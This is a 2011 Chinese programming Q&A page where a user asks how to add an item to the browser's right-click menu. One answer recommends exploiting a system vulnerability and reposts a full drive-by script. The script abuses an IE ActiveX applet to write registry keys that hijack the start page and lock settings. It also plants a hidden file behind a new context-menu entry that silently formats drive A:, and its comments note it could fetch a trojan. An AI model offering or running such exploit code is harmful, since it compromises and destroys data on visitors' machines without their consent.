js 如何实现在右键菜单中添加一个新项,要求保留之前的右键菜单项

js 如何实现在右键菜单中添加一个新项,要求保留之前的右键菜单项...

排除 浏览器插件的形式实现 方式...

一般来说,都是重写

document.oncontextmenu = function (evt){
evt = evt || window.event;
console.log(evt.screenX,evt.screenY);

return false;
};

但是 这样一来也就屏蔽了浏览器自带的右键菜单,我要实现 在已有的菜单项基础上增加一个新的进去,请大家指导实现啊请输入图片描述

我想在这上边加一个新项

色色
编辑于2011-12-12
评论 (1)链接2011-12-12 
  • 0 支持
    在他人的电脑上,不用插件,基本不可能实现。 – 胡加杰 2011-12-12

JS是有安全局限的,通过JS直接修改系统菜单是无法实现的
正常修改浏览器标准菜单需要修改注册表键值HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt

如果不通过插件的方式实现,那你只能考虑一下通过系统漏洞来修改注册表了。

下面转载自51js.com

注册表修改及写文件

  
<!-- 这是个利用系统漏洞修改注册表的脚本,原创是FlashSoft2000 
初始化actiVex控件 -->
<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>
<script>
//定义收藏变量
function AddFavLnk(loc,DispName,SiteURL){
var Shor=Shl.CreateShortcut(loc+"\\"+DispName+".URL")
Shor.TargetPath=SiteURL
Shor.Save()}

//定义变量
function reg(){
try{
//设定applets为0
a=document.applets[0]
a.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
a.createInstance()
Shl=a.GetObject();
a.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
a.createInstance()
FSO=a.GetObject()
a.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}")
a.createInstance()
Net=a.GetObject()
try{
//开始写注册表
//设定IE的标题为Internet Explorer
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
//设定IE的默认首页为空白页
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
//让设定首页那项变灰
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
//让设定分级审查设定那项变灰
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
//在网页右键菜单中加入调用文件的命令
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式
//直接用十进制的数表示,如:0,1等
//用十六进制的数表示,如:0x12,0xff等
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD")
//结束写注册表
//开始写硬盘
//生成一个名为c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=FSO.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把这个文件写入javascript内容
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化 /q为快速
hd.write('<script>a=new ActiveXObject("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')
//关闭这个文件
hd.close()
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马
//格式为file=fs.GetFile("网络路径").Copy("运行路径")
//这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
file=FSO.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//设定这个文件的属性为隐藏
file.Attributes=6
//结束写硬盘
//开始定义收藏格式
var WF,Shor,loc
WF=FSO.GetSpecialFolder(0)
loc=WF+"\\Favorites";
if(!FSO.FolderExists(loc)) {
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName+"\\Favorites";
if(!FSO.FolderExists(loc)) {
return}}
//收藏内容
AddFavLnk(loc, "吾闪", "http://5flash.com")}
catch(reg){}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
//最后再重申,这个脚本不可用来害人,谢~
</script>
该答案已被锁定,无法对其进行评论,编辑及投票。
()
评论 (2)链接 • 2011-12-12
  • 0 支持
    还是要用控件才可以实现的。 – 胡加杰 2011-12-12
  • 0 支持
    恩,通过JSShell来实现的。 – 马瑜 2011-12-13
德问是一个专业的编程问答社区,请 登录注册 后再提交答案